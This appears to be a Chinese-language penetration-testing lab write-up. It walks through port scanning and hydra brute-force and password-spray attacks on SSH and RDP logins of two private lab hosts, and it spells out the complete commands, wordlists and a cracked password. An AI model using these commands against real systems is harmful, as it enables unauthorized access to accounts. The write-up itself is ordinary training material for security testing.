帳號驗證服務攻擊
帳號驗證服務攻擊 SSH & RDP 破密攻擊 靶機 1 : 192.168.226.201 第一步 rustscan，└─$ rustscan -a 192.168.226.201 --scripts none --ulimit 5000 22 & 2222 Port nmap 查看 22, 2222 服務，└─$ sudo nmap -sV -sC -p 22,2222 192.168.226.201 - 22 : OpenSSH 8.9p1 - 2222 : OpenSSH 8.2p1 題目有另外說明攻擊 2222 端口，也提供了一個帳號 george，因為將使用 rockyou.txt 當作字典檔，所以要先解壓縮 gzip -d 接著 hydra 直接下去即可 └─$ hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.226.201 瞬間拿到密碼 chocolate 登入後查找 flag，└─$ ssh -p 2222 george@192.168.226.201 靶機 2 : 192.168.226.202 第一步 rustscan，└─$ rustscan -a 192.168.226.202 --scripts none --ulimit 5000 看來是台 Windows，這次針對 RDP 3389 進行破密 本次已知的是某個使用者的密碼為 "SuperS3cure1337#"，但不知道使用者帳號 所以這一次變成暴力破解出使用者帳號，一樣使用 hydra 進行暴力破解 但是字典檔變成使用帳號字典檔 /usr/share/wordlists/dirb/others/names.txt 指令如下 └─$ hydra -L /usr/share/wordlists/dirb/others/names.txt -p "SuperS3cure1337#" rdp://192.168.226.202 注意指令已知的用小寫，未知要測試的用大寫 -l : 指定的使用者名稱 -L : 預計使用的使用者字典檔 -p : 已知指定的密碼 ...